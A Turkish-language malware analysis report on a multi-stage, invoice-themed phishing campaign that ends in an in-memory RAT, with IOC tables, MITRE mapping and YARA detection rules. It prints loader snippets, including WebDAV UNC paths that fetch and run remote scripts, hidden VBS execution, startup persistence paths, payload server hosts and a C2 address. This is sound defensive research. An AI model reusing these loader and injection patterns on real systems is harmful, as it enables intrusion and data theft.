Alpha Scramble 3: Fatura Temalı Phishing SERPENTINE#CLOUD Analizi
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
Bu analizde, fatura temalı bir phishing e-postasıyla başlayan ve bellekte çalışan bir RAT payload’ına uzanan çok aşamalı bir saldırı zinciri incelenmektedir. Saldırı; WSF tabanlı bir loader, extension masquerading uygulayan BAT stager’lar, Cloudflare Tunnel üzerinden servis edilen ZIP payload’lar ve Kramer obfuscator ile gizlenmiş Python scriptler aracılığıyla ilerlemekte; Early Bird APC Injection tekniğiyle nihai zararlıyı belleğe yüklemektedir.
Analiz edilen bu çok aşamalı saldırı zinciri, kullanılan Cloudflare tabanlı altyapı ve katmanlı yapıdan dolayı bu çalışma kapsamında SERPENTINE#CLOUD olarak isimlendirilmiştir.
Yönetici Özeti
Yapılan analiz sonucunda, incelenen olayın phishing e-postasıyla başlayan ve çok aşamalı bir zararlı yazılım zinciri içeren bir saldırı olduğu tespit edilmiştir. Saldırı, kullanıcıyı sahte bir fatura veya belge indirip çalıştırmaya yönlendirmekte; ardından sistem üzerinde ek zararlı bileşenler indirerek bellekte çalışan bir payload devreye sokmaktadır.
Zararlı yazılımın veri toplama, kullanıcı aktivitelerini izleme ve uzaktan komut alma yeteneklerine sahip olduğu değerlendirilmiştir.
Genel Risk Seviyesi: Yüksek
Saldırı zinciri şu şekilde özetlenebilir:
- Kullanıcıya phishing e-postası gönderilir
- Kullanıcı sahte bir fatura arşivi indirir
- Dosya çalıştırıldığında sistemde script tabanlı bir loader devreye girer
- Loader, Cloudflare Tunnel altyapısı üzerinden ek payload’lar indirir
- Zararlı yazılım bellekte çalıştırılarak tespiti zorlaştırılır
- Sistem dışı bir sunucu ile şifreli iletişim kurularak veri aktarımı yapılır
İncelenen Artefact’lar
| Artefact | Açıklama | SHA256 |
|---|---|---|
lnvoice72625343.url | Phishing e-postasından indirilen başlangıç aşaması | e86393c9a1dcc9992ea3dea2bdfc62e68bd5e0e3061e15549762f481be3c21ac |
Phmar09.wsf | WSF loader — WebDAV UNC path ile çalışır | 0e61f283dcb832ad0bfe89de09c97551cacc5a3fada0bdc47f2040390e7e7f9a |
PhM091.txt / .bat | Stage 2 BAT loader — extension masquerading | 220ff536f69088e33894a1df174ee13d81f88d9e658a5905ae42ff98604d10c2 |
PhM092.txt / .bat | Stage 2 BAT runner — Python payload çalıştırır | 218628edc95f7c425fad294048adca65e235ae3024f084c9afaf483f66f71b6c |
PhM09MA.zip | Python payload ve portable runtime içeren ana ZIP | cde3f15098ecd7467035127e93d490af955dfc1093920f3319e6a1db1a684900 |
mod_payload.bin | Donut ile paketlenmiş, bellekten yüklenen son payload | 493a52ae0ef7fcd776bffe1801c400138662e0d78afe03cf9fb455ae2a9aed5a |
Aşama 1: Phishing E-Postası ve İlk Erişim
Kişisel alan adı üzerinde çalışan ve spam filtresi barındırmayan bir posta sunucusu aracılığıyla, hxxps://www.mycpatax.com adresinden gelen bir phishing e-postası yakalandı.
E-postadaki “View Billing Invoice” bağlantısına tıklandığında, kullanıcı bir dosya indirme adresine yönlendirilmektedir.
İstihbarat Aşaması: Sahte Site Analizi
Yönlendirilen site incelendiğinde, phishing için hazırlanmış basit bir giydirme sayfasından ziyade gerçek bir işletmeye ait site görünümü sergilendiği dikkat çekmektedir.
Hedef site ilk bakışta gerçek bir işletme izlenimi vermektedir
Sitenin barındırdığı RCE veya dosya yükleme açıklıklarından faydalanılarak kötü niyetli aktörlerin bu altyapıyı kullandığı değerlendirilmektedir. İstihbari açıdan inceleme yapıldı.
Site üzerinden yapılan Google Maps yönlendirmesine ait yorumlar — firmanın gerçek olduğunu güçlendirmektedir
Google aramasında ilgili firmaya ait ikinci bir web sitesiyle karşılaşıldı
Her iki site de birebir aynı frontend yapısına sahiptir; orijinal sitenin yalnızca görsel katmanı kopyalanmıştır. Responsible disclosure kapsamında ilgili firmalar bilgilendirilmiştir.
Sahte sitenin sitemap ve sayfa yapısı
“Hızlı Rezervasyon” gibi işlevsel alanların çalışmaması, sitenin bir giydirme olduğunu doğrulamaktadır. Sahte sitede bu alan çalışmıyor — yalnızca frontend kopyalanmış.
İstihbarat aşaması tamamlandı, FlareVM analiz ortamına geçildi
Aşama 2: WSF Loader — WebDAV UNC Execution
Zararlı URL’ye gidildiğinde dosya indirme iletişim kutusu karşılamaktadır. Laboratuvar ortamının güvenliği doğrulandıktan sonra analiz başlatılmıştır.
Zararlı URL:
hxxps://textbook-alternatives-theta-hydrogen.trycloudflare.com/kml
trycloudflare.com ile dört kelimeli pattern üzerinden oluşturulan domainler, Cloudflare’in kısa ömürlü tünel servisidir. Bu domainler maksimum birkaç hafta aktif kalabildiğinden VirusTotal taramasının sınırlı değer taşıyacağı değerlendirilmektedir.
Zararlı Dosya İçerikli Website
PeStudio ile yapılan incelemede ikinci bir Cloudflare URL’sine yönlendirme tespit edildi
WSH Dosyasının Yapısı
İndirilen .wsh dosyasının [ScriptFile] bölümü şu şekildedir:
1
Path=\\determining-aka-amazing-demo.trycloudflare.com@SSL\DavWWWRoot\7k\Phmar09.wsf
Bu path standart bir HTTP URL değil; Windows WebDAV UNC path formatındadır:
1
\\HOST@SSL\DavWWWRoot\PATH
Windows bu formatı şu adrese resolve eder:
1
https://determining-aka-amazing-demo.trycloudflare.com/7k/Phmar09.wsf
Saldırganın bu yöntemi tercih etmesinin nedeni:
- Proxy ve güvenlik duvarı atlatma kapasitesi
- Windows tarafından ağ paylaşımı (network share) olarak mount edilmesi
wscriptvecscriptaraçlarıyla doğrudan çalıştırılabilmesi
DavWWWRoot → Windows WebClient (WebDAV) servisine ait özel path.
[Options] bölümünde ise:
1
UseEngine=JScript
Bu, scriptin JScript (Microsoft’un JavaScript implementasyonu) motoru ile çalıştırılacağını belirtmektedir.
Aşama 3: İkinci WSF Yükü ve Loader Analizi
Elimizdeki Analiz Edilen Dosyalar
WSF Dosyalarının Karşılaştırılması
İki Loader Arasındaki Ortak Noktalar
Her iki WSF loader’ı aşağıdaki teknik özellikleri paylaşmaktadır:
- WSF / JScript loader —
<script language="JScript">, Windows Script Host üzerinden çalışır - Aynı COM nesneleri —
WScript.Shell,Scripting.FileSystemObject - WebDAV üzerinden payload indirme — UNC path formatı:
\\<subdomain>.trycloudflare.com@SSL\DavWWWRoot\ - Cloudflare Tunnel altyapısı —
*.trycloudflare.compattern - Extension masquerading — sunucudaki dosya
.txt, locale kaydedilen dosya.bat - Ortak drop dizini —
%USERPROFILE%\Contacts\ - Gizli çalıştırma —
shell.Run(..., 0, true)ile pencere göstermeden execution - Staged execution — ilk payload, 90 saniyelik bekleme, ikinci payload:
WScript.Sleep(90000) - Hata gizleme —
try {} catch(e) {}ile hata mesajı üretilmemesi
Loader 1
| Parametre | Değer |
|---|---|
| Payload sunucu | \\wallace-church-enclosure-opens.trycloudflare.com@SSL\DavWWWRoot\ |
| İndirilen dosyalar | PhM091.txt, PhM092.txt |
| Yerel hedef | %USERPROFILE%\Contacts\PhM091.bat, PhM092.bat |
Loader 2
| Parametre | Değer |
|---|---|
| Payload sunucu | \\triangle-county-dangerous-soon.trycloudflare.com@SSL\DavWWWRoot\ |
| İndirilen dosyalar | PhA1.txt, PhA2.txt |
| Yerel hedef | %USERPROFILE%\Contacts\PhA1.bat, PhA2.bat |
Aşama 4: BAT Stager Analizi
Siteden İndirilen .txt Dosyaları
Analiz ortamındaki dosya dizin yapısı
Phmar09.wsh dosyasının PhM092 ve PhM091 isimli dosyaları .txt formatından .bat formatına dönüştürdüğü gözlemlenmiştir.
PhM091.bat — Stage A: Downloader
Çince karakterlerle obfuscate edilmiş BAT dosyası
CyberChef ile UTF-8/UTF-16 encoding sorunu çözülerek orijinal BAT kodu elde edildi
Dosya UTF-8 ile yazılmış ancak UTF-16 olarak okunmuş bir BAT scriptidir. Encoding dönüştürülerek orijinal içeriğe ulaşıldı.
Gizli Çalıştırma Mekanizması
Script başlangıçta kendisini gizli olarak yeniden başlatır. Geçici VBS oluşturur:
1
%USERPROFILE%\Contacts\rhn.vbs
VBS içeriği:
1
CreateObject("WScript.Shell").Run "<batfile> hidden", 0
BAT dosyası bu yöntemle kullanıcıya konsol penceresi göstermeden çalıştırılır. Geçici VBS çalıştırıldıktan sonra silinir.
Kullanılan Klasörler
1
2
3
%USERPROFILE%\Contacts\docuts
%USERPROFILE%\Contacts\MainRingtones
%USERPROFILE%\Contacts\str
Bu klasörler payload extraction için kullanılmaktadır.
Persistence
Startup klasörüne rastgele isimli bir BAT dosyası indirilir:
1
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<RANDOM>.bat
Bu dosya Windows’ta her oturum açılışında çalışır.
İndirilen Payload’lar
Payload sunucu:
1
https://lone-logs-visit-isolated.trycloudflare.com
| Sunucu Dosyası | Yerel Hedef |
|---|---|
PhM09MA.zip | Contacts\docuts\64<RANDOM>.zip |
PhM09ST.zip | Contacts\docuts\<RANDOM>.zip |
PhM09SU.txt | Startup\<RANDOM>.bat (extension masquerading) |
ZIP dosyaları Windows built-in araçlarla çıkartılmaktadır:
1
2
tar -xf PhM09MA.zip → Contacts\MainRingtones
tar -xf PhM09ST.zip → Contacts\str
Bu curl ve tar kullanımı LOLBins (Living off the Land Binaries) tekniğine örnek teşkil etmektedir.
Not: Script cleanup aşamasında
del "%onef%"komutu çalıştırılmaya çalışılmaktadır; ancak%onef%değişkeni script içinde tanımlanmamıştır. Bu durum büyük olasılıkla builder tarafından oluşturulan bir artifact hatasıdır.
PhM092.bat — Stage B: Runner
Script, önceki aşamada oluşturulan klasörleri kullanarak Python payload’larını çalıştırır:
1
%USERPROFILE%\Contacts\MainRingtones\python312x64\python.exe
Bu aşamada dikkat çekici bir husus, payload’ın portable Python runtime ile birlikte gelmesidir; hedef sistemde Python kurulu olmasına gerek yoktur.
Python Payload Çalıştırma
1
2
3
for %%f in ("%USERPROFILE%\Contacts\MainRingtones\Python312x64\*.py") do (
start "" /b python.exe %%f
)
Tüm .py payload’ları arka planda (/b) çalıştırılır. Her script arasında 3 saniye bekleme uygulanır.
Process Tree Gizleme
Script, WMI kullanan bir VBS dosyası oluşturur:
1
%USERPROFILE%\Contacts\py_parent.vbs
Bu script, explorer.exe‘nin parent process’i olan python.exe‘yi sonlandırır. Amaç:
- Orphan process oluşturmak
- Process tree’yi analiz araçlarından gizlemek
- Sandbox detection’ı atlatmak
Temizlik Aşaması
| İşlem | Komut |
|---|---|
| Geçici VBS silinir | del py_parent.vbs |
| Staging klasörü silinir | rd /s /q %USERPROFILE%\Contacts\docuts |
| Payload klasörleri gizlenir | attrib +h Contacts\MainRingtones, attrib +h Contacts\str |
| Tüm BAT dosyaları silinir | del %USERPROFILE%\Contacts\*.bat |
Aşama 5: Payload Sunucusundan İndirme
Payload sunucusundan ilgisiz diğer dosyalar indirilememiştir; bunlar muhtemelen eski bir kampanyaya ait olup VirusTotal tespitleri nedeniyle devre dışı bırakılmıştır.
Payload sunucusundan indirilen dosya: obfuscated BAT scripti
Obfuscated BAT Script Analizi
UTF-8 ile yazılmış, UTF-16 olarak okunmuş BAT script
Bu veri, yanlış codec ile okunmuş bir BAT scriptidir: UTF-8 ile yazılmış ancak UTF-16 olarak yorumlanmıştır. UTF-16 gibi encode edilerek UTF-8 olarak decode edildiğinde orijinal içeriğe ulaşılmaktadır.
Decode edilmiş içerik — Python scriptlerini çalıştırıyor ve processleri sonlandırıyor
İçeriğin beklentilerle örtüştüğü görülmüştür: Python klasöründeki scriptleri çalıştırmakta ve processleri kill etmektedir.
Aşama 6: Python Payload Analizi
PhM09MA.zip içinden çıkan Python yapısı
PhM09ST.zip İki zip dosyasının karşılaştırılması
Klasördeki 10 adet Python dosyasının tamamı base64 shellcode enjekte etmektedir
İki paket de aynı şekilde gözükmektedir. Execution scripti yalnızca python312x64 klasörünü hedef aldığından, her iki paketten yalnızca biri çalıştırılabilir. Bu durum, saldırganın antivirüs ürünlerinden birinin tespitini atlatabilmek için yedek bir paket hazırladığını düşündürmektedir.
Ana Paket Analizi: PhM09MA.zip
File1 değişkenine karşılık gelen ana paket — analize buradan devam edildi
Tüm Python dosyaları base64 shellcode yüklüyor
ZIP içindeki şüpheli Python dosyaları:
1MAR12_Philli-Vioooooooo.py1PhMAR12Annnnnn.py1PhMAR12Asssssss.py1PhMAR12Hvvvvvvvv.py1PhMAR12Xwrmmmmm.py2LazMAR12_hvvvvvvvvvvv.py
İlk 5 Dosya — APC Injection Loader
Bu dosyalar benzer bir yapıya sahiptir. Gerçekleştirilen işlemler şu şekilde özetlenebilir:
- Gömülü base64 + XOR ile gizlenmiş payload tutulur
- Payload çözülür
explorer.exegibi bir süreç suspended modda başlatılır- Hedef süreçte bellek ayrılır:
VirtualAllocEx - Payload belleğe yazılır:
WriteProcessMemory - APC kuyruğuna eklenir:
QueueUserAPC - Thread devam ettirilir:
ResumeThread
Bu teknik, Early Bird APC Injection olarak bilinmekte olup antivirüs tespitini ve analizi güçleştirmek amacıyla yaygın şekilde kullanılmaktadır.
2LazMAR12_hvvvvvvvvvvv.py — Kramer Obfuscator
Shellcode’ların base64 olarak çıkartılması — yüksek entropi, hiçbiri executable değil
Python koduyla base64 shellcode’lar dışarı alınmış; ancak string ve DIE analizleri yüksek entropi göstermekte, hiçbiri doğrudan çalıştırılabilir formatta değildir. Bu durum, 2LazMAR12 dosyasında ek bir şifre çözme katmanının bulunduğuna işaret etmektedir.
Dosyada “Kramer” ve “Kramer_Decode” string’leri tespit edildi
Dosyada Kramer ve Kramer_Decode string’leri tespit edilmiştir. billythegoat356/Kramer obfuscator’ı ile şifrelenmiş bir Python dosyasıyla karşı karşıya olunduğu anlaşılmıştır.
Mevcut hazır deobfuscator araçları değerlendirilmiş, ancak işlevsel bir sonuç elde edilememiştir. Kısa bir araştırmayla obfuscator’ın RC4 + Base64 kombinasyonuna dayandığı tespit edilmiş; buna göre geliştirilen custom script ile payload başarıyla dışarı alınmıştır.
Deobfuscated Python payload çıktısı
Payload çıktısında PPID Spoofing tekniği tespit edilmiştir: süreç oluşturulurken parent process olarak explorer.exe atanmakta, böylece davranış meşru gibi görünmektedir.
Zararlı yazılım, PPID Spoofing tekniği kullanarak calc.exe sürecini explorer.exe altından başlatılmış gibi göstermektedir. Ardından oluşturulan bu calc.exe sürecine Early Bird APC tekniği ile zararlı shellcode enjekte edilmektedir.
Dosyada yer alan yorum satırları ve çıktı mesajlarının yapısı, bu kampanyada yapay zeka destekli araçların kullanılmış olabileceğini düşündürmektedir. Kesin bir atıf için ek kanıt gerekmektedir.
Early Bird APC Injection akışı:
CreateProcess(CREATE_SUSPENDED) ile süreç askıda başlatılır- Shellcode belleğe yazılır
- Hedef thread’e APC kuyruğu eklenir
ResumeThreadçağrısıyla shellcode çalışır
RC4 şifre çözme kodu:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ctypes
import base64
def rc4_decrypt(key, data):
S = list(range(256))
j = 0
output = bytearray()
# KSA (Key Scheduling Algorithm)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
# PRGA (Pseudo-Random Generation Algorithm)
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
output.append(byte ^ k)
return bytes(output)
# Payload dışarı alınmak üzere şifre çözme uygulanır
encrypted_data = base64.b64decode("<base64_blob>")
key = 'C2UURmFS'.encode('ascii')
shellcode = rc4_decrypt(key, encrypted_data)
Aşama 7: Donut Payload ve Nihai RAT
Detect It Easy çıktısı Donut Tespiti
Detect It Easy ile yapılan analiz, payload’ın Donut ile paketlendiğini ortaya koymaktadır. Donut; PE dosyalarını diske yazmadan bellekte yükleyip çalıştırmak için kullanılan bir framework’tür.
volexity/donut-decryptor kullanılarak payload çıkartılmıştır.
mod_payload.bin olarak dışarı alındı
Bu sırada payload ilgili platformlarda incelemeye alınmıştır:
C2 İletişimi
Payload çalıştırılarak Process Hacker ile süreç izlenmiştir.
Process Hacker ile süreç izleme
Process Hacker ile Process’i incelememiz sonucunda “Create Dump File” seçeneği ile bellek dökümü alınmıştır.
Alınan bellek dökümünün Detect It Easy ile analizi
Süreç izlenmeye devam edildiğinde 12.202.180.133:6757 adresine bağlantı kurulduğu tespit edilmiştir.
Process Monitor Ağ Bağlantıları Analizi
Dump içinden çıkarılan sunucuya yönlendirilen Keylogger tarzı davranış
Wireshark incelemesinde verinin şifreli biçimde C2 sunucusuna iletildiği gözlemlenmiştir; bu nedenle trafik içeriği bu rapor kapsamına dahil edilmemiştir.
Dump’tan Payload Çıkartma
Python scripti ile bellek dökümünden zararlı payload çıkartılıyor
Custom bir script ile bellek dökümünden zararlı payload çıkartılarak dnSpy ile açılmıştır.
dnSpy ile .NET Zararlı analizi
Detect It Easy ile yapılan inceleme, obfuscation işleminin .NET Reactor ile gerçekleştirildiğini ortaya koymaktadır.
.NET Reactor Slayer ile obfuscation kaldırılmıştır.
Kodların hâlâ yüksek derecede obfuscated olması ve bir sürece attach olarak çalışması nedeniyle, aynı süreç sıfırdan çalıştırılarak yeni bir bellek dökümü alınmış ve analiz yinelenmiştir.
Sonuç: Zararlı yazılım, birden fazla obfuscated RAT modülü enjekte etmektedir. Bu modüler yapı nedeniyle VirusTotal ve benzeri araçlar kesin bir aile tespiti yapamamaktadır.
Ek Keşif: İkinci Phishing Kaynağı
Rapor tamamlandıktan sonra, kampanyanın başında phishing e-postası gönderen adresten birebir aynı formatta ikinci bir e-posta alınmıştır. Bu e-postada hxxps://uguravci.com.tr/ sitesinin aynı şekilde kopyalandığı tespit edilmiş; responsible disclosure kapsamında ilgili taraflar bilgilendirilmiştir.
IOC Seti
Network IOC’leri
| Tür | Değer | Açıklama |
|---|---|---|
| URL | hxxps://www.mycpatax.com/ | Phishing e-postası gönderen alan |
| URL | hxxps://carrepaircenter.com.tr/Invoice72625343.zip | İlk arşiv indirme adresi |
| URL | hxxps://textbook-alternatives-theta-hydrogen.trycloudflare.com/kml | Delivery URL |
| URL | hxxps://determining-aka-amazing-demo.trycloudflare.com/7k/Phmar09.wsf | WSF loader |
| UNC | \\determining-aka-amazing-demo.trycloudflare.com@SSL\DavWWWRoot\7k\Phmar09.wsf | WebDAV UNC path |
| URL | \\wallace-church-enclosure-opens.trycloudflare.com@SSL\DavWWWRoot\ | Loader 1 payload sunucu |
| URL | \\triangle-county-dangerous-soon.trycloudflare.com@SSL\DavWWWRoot\ | Loader 2 payload sunucu |
| URL | hxxps://lone-logs-visit-isolated.trycloudflare.com | ZIP payload sunucu |
| C2 | 12.202.180.133:6757 | Nihai RAT C2 adresi |
Host Artefact’ları
| Tür | Değer | Açıklama |
|---|---|---|
| Drop path | %USERPROFILE%\Contacts\ | Ana staging dizini |
| Drop path | %USERPROFILE%\Contacts\docuts\ | ZIP extraction geçici dizini |
| Drop path | %USERPROFILE%\Contacts\MainRingtones\ | Python runtime ve payloadlar |
| Drop path | %USERPROFILE%\Contacts\str\ | İkinci payload dizini |
| Persistence | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<RANDOM>.bat | Her oturumda çalışan persistence |
| Execution artifact | %USERPROFILE%\Contacts\MainRingtones\python312x64\python.exe | Portable Python çalışma zamanı |
| Temp artifact | %USERPROFILE%\Contacts\rhn.vbs | Gizli çalıştırma VBS |
| Temp artifact | %USERPROFILE%\Contacts\rhnE.vbs | Gizli çalıştırma VBS (Stage 2) |
| Temp artifact | %USERPROFILE%\Contacts\py_parent.vbs | Process tree gizleme VBS |
Behavioral IOC
| Teknik | Detay |
|---|---|
| WebDAV UNC execution | \\host@SSL\DavWWWRoot\ formatında script çalıştırma |
| WSF / JScript loader | Windows Script Host üzerinden JScript execution |
| Hidden execution | WScript.Shell.Run(..., 0) ile pencere gizleme |
| LOLBins | curl, tar (Windows native araçlar) |
| Extension masquerading | .txt sunuluyor, .bat olarak kaydediliyor |
| Early Bird APC Injection | Suspended process’e shellcode enjeksiyonu |
| RC4 + Base64 şifreleme | Python payload’larında payload encryption |
| Donut in-memory execution | PE yükleme — diske yazılmıyor |
| Portable Python runtime | Hedef sistemde Python gerektirmiyor |
| PPID Spoofing | Parent process olarak explorer.exe atanıyor |
Dosya Hash Tablosu
| Dosya Adı | MD5 | SHA256 | Boyut |
|---|---|---|---|
1PhJ14.wsf | e0e46e04f0f97b98af3570ec5cfb73e7 | 13a6420822dab0d4ca6c1b422c66e5dd3a59637588279097efe47f7e553eb849 | 785 B |
decoded_layer.py | 3c6894ce3229ae180b8d3cdc3eeefaf2 | 7ac2304a14988ab2550c19fe93814377f71803b6784fea8e22d08d0ceb2b4521 | ~1.3 MB |
lnvoice72625343.url | 33625fb6db7b14b2e9265934b75b3e73 | e86393c9a1dcc9992ea3dea2bdfc62e68bd5e0e3061e15549762f481be3c21ac | 296 B |
mod_payload.bin | 2ffacdf417772f8723f3c96c80e84655 | 493a52ae0ef7fcd776bffe1801c400138662e0d78afe03cf9fb455ae2a9aed5a | ~1 MB |
payload.bin | 29a9ae87d98a1708082c31c186054cdc | a4a829adddc3d31a7dae7d992df2f59f23ad859e05758b83a1b4bcd9b27f5f6a | ~1 MB |
pe_66824.exe | 7c1f000e002529266c7c0b4847635792 | 8834f3c8781f12875a8952cc413461cc228f471f6ee3178ef1dff2e0c43ee327 | ~2 MB |
pe_66824_Slayed.exe | 027a6653619b05996dcdee075ec03c50 | 252577c36b2feae3b668ff26e53ed07fed7b21dd0ca142bd9db9833179c52080 | ~1.4 MB |
PhM091.txt | e7beba4fb6dcdc337539ff470c17e1a1 | 220ff536f69088e33894a1df174ee13d81f88d9e658a5905ae42ff98604d10c2 | 2.249 B |
PhM092.txt | 99062a3f541b007e61fbb486ee11b2a8 | 218628edc95f7c425fad294048adca65e235ae3024f084c9afaf483f66f71b6c | 3.002 B |
PhM09MA.zip | b53ed42b5c4ffc8934fb796e414d2e66 | cde3f15098ecd7467035127e93d490af955dfc1093920f3319e6a1db1a684900 | ~17.5 MB |
PhM09ST.zip | 3c18c0aca4146ea19b309fb8cbae08e7 | 8cbc5c70a4d22b3b725ba01b332c0a1bb3d5f6636446dbec915c71ef264c4cfb | ~17.5 MB |
PhM09SU.txt | b8512d93b6b50ea70faf73ce5b5d42c8 | c4c20f73ea72a9ab4ea5676e3064e669fb4e5aec8084d0211b838cdefb4c94a7 | 4.137 B |
Phmar09.wsf | 5e75f24be395c72e376c1814d74c385f | 0e61f283dcb832ad0bfe89de09c97551cacc5a3fada0bdc47f2040390e7e7f9a | 665 B |
Re_06430927.pdf.wsh | 1a26241e24063b02157cbf3709e7eca7 | 8863478954faa0822dd238b24d6e04ebbe4f8aee2e3e24d0c8351e996a7a9c91 | 131 B |
MITRE ATT&CK Eşlemesi
| Taktik | Teknik ID | Teknik Adı |
|---|---|---|
| Initial Access | T1566.002 | Phishing: Spearphishing Link |
| Execution | T1055 | Process Injection |
| T1059.003 | Command and Scripting Interpreter: Windows Command Shell | |
| T1059.005 | Command and Scripting Interpreter: Visual Basic | |
| T1059.006 | Command and Scripting Interpreter: Python | |
| T1059.007 | Command and Scripting Interpreter: JavaScript | |
| T1204.001 | User Execution: Malicious Link | |
| T1204.002 | User Execution: Malicious File | |
| T1620 | Reflective Code Loading | |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Startup Folder |
| Defense Evasion | T1027 | Obfuscated Files or Information |
| T1027.010 | Command Obfuscation | |
| T1027.013 | Encrypted/Encoded File | |
| T1036 | Masquerading | |
| T1055.004 | Process Injection: Asynchronous Procedure Call | |
| T1134.004 | Access Token Manipulation: Parent PID Spoofing | |
| T1218 | System Binary Proxy Execution | |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
| T1090.001 | Proxy: Internal Proxy | |
| T1090.003 | Proxy: Multi-hop Proxy (Cloudflare Tunnel) | |
| T1132 | Data Encoding | |
| T1572 | Protocol Tunneling | |
| Exfiltration | T1041 | Exfiltration Over C2 Channel |
YARA Kuralları
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import "pe"
// ─────────────────────────────────────────────────────────────
// Stage 1–2: WSF / JScript WebDAV Loader
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_WSF_WebDAV_Loader {
meta:
description = "WSF/JScript loader using WebDAV + COM abuse"
author = "binarybear"
strings:
// Script indicators
$js1 = "<script" nocase
$js2 = "JScript" nocase
// COM usage
$com1 = "WScript.Shell" nocase
$com2 = "Scripting.FileSystemObject" nocase
// WebDAV patterns
$webdav1 = "@SSL\\DavWWWRoot" nocase
$webdav2 = /\\\\[^\\]+\\DavWWWRoot/ nocase
// Campaign signal
$cf = ".trycloudflare.com" nocase
condition:
(
uint16(0) == 0x3c3f or uint16(0) == 0x3c73
)
and
2 of ($js*)
and
1 of ($com*)
and
(
1 of ($webdav*) or $cf
)
}
// ─────────────────────────────────────────────────────────────
// Stage 3–4: BAT/VBS Stager
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_BAT_LOLBIN_Stager {
meta:
description = "Batch/VBS stager using LOLBins + execution chain"
author = "binarybear"
strings:
// LOLBins
$curl = "curl" fullword nocase
$tar = "tar" fullword nocase
// Execution context
$cmd_exec = "cmd.exe /c" nocase
$wscript = "wscript" nocase
$cscript = "cscript" nocase
// Stealth
$hide = "attrib +h" nocase
// Staging hints
$contacts = "\\Contacts\\" nocase
$sub1 = "docuts" nocase
$sub2 = "MainRingtones" nocase
// Payload runtime
$python = "python.exe" nocase
condition:
(
(2 of ($curl,$tar,$cmd_exec) and $python)
or
(1 of ($wscript,$cscript) and $hide and $python)
)
and
(
$contacts or 1 of ($sub*)
)
}
// ─────────────────────────────────────────────────────────────
// Stage 5–6: Obfuscated Python Payload
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_Python_Obfuscated_Payload {
meta:
description = "Obfuscated Python payload with decode + execution chain"
author = "binarybear"
strings:
// Execution primitives
$exec1 = "exec(" nocase
$exec2 = "eval(" nocase
$exec3 = "__import__" nocase
$exec4 = "compile(" nocase
// Decode / unpack
$dec1 = "base64.b64decode" nocase
$dec2 = "marshal.loads" nocase
$dec3 = "zlib.decompress" nocase
// Fallback signals
$b64 = "base64" nocase
$marshal = "marshal" nocase
$zlib = "zlib" nocase
// Campaign hint
$kramer = "Kramer" nocase
condition:
(
(
1 of ($dec*)
and
1 of ($exec*)
)
or
(
2 of ($exec*)
and
2 of ($b64,$marshal,$zlib)
)
)
and
filesize < 2097152
}
// ─────────────────────────────────────────────────────────────
// Stage 6+: Generic Injection Behavior
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_Generic_Injection_PE {
meta:
description = "Generic PE with process injection API patterns"
author = "binarybear"
condition:
uint16(0) == 0x5A4D and
(
(
pe.imports("kernel32.dll", "VirtualAlloc") and
pe.imports("kernel32.dll", "WriteProcessMemory") and
pe.imports("kernel32.dll", "CreateRemoteThread")
)
or
(
pe.imports("ntdll.dll", "NtWriteVirtualMemory") and
pe.imports("ntdll.dll", "NtCreateThreadEx")
)
or
(
pe.imports("ntdll.dll", "NtAllocateVirtualMemory") and
pe.imports("ntdll.dll", "NtProtectVirtualMemory")
)
)
}
// ─────────────────────────────────────────────────────────────
// IOC Artefacts (triage)
// ─────────────────────────────────────────────────────────────
rule SERPENTINE_Known_IOC_Artefacts {
meta:
description = "Known campaign IOC artefacts (triage only)"
author = "binarybear"
strings:
$cf = ".trycloudflare.com" ascii wide
$c2 = "12.202.180.133:6757" ascii wide
$phish1 = "mycpatax.com" ascii wide
$phish2 = "carrepaircenter.com.tr" ascii wide
$phish3 = "uguravci.com.tr" ascii wide
condition:
2 of them
}
Öneriler
Bu saldırı phishing ile başladığından kullanıcı tarafındaki en kritik kontrol hâlâ aynıdır: bilinmeyen kaynaklardan gelen dosyaların açılmaması. Özellikle ZIP, RAR gibi arşivler ve fatura temalı e-postalardaki bağlantılar yüksek risk taşımaktadır.
Windows’ta dosya uzantısı görünürlüğünün kapalı tutulması önemli bir risk faktörüdür. Kullanıcı .pdf.exe gibi dosyaları yalnızca .pdf olarak görmektedir. Grup ilkesi veya kullanıcı eğitimi ile bu ayarın açık tutulması, basit ama etkili bir önlem olarak öne çıkmaktadır.
Bu kampanyada dikkat çeken bir husus, payload’ın %USERPROFILE%\Contacts gibi normalde kullanılmayan ancak yazılabilir dizinlere bırakılmasıdır. Bu tür dizinlerde aşağıdaki davranışlar izlenirse erken uyarı üretilebilir:
- Script (
bat,vbs,wsf) çalıştırılması - ZIP extraction işlemleri
- Gizli (
attrib +h) klasör oluşturulması
Python gibi meşru araçların anormal path’lerden çalıştırılması önemli bir sinyal niteliği taşımaktadır. Sistem Python kurulumu dışında, kullanıcı dizininden çalışan python.exe süreçleri öncelikli inceleme hedefi olmalıdır.
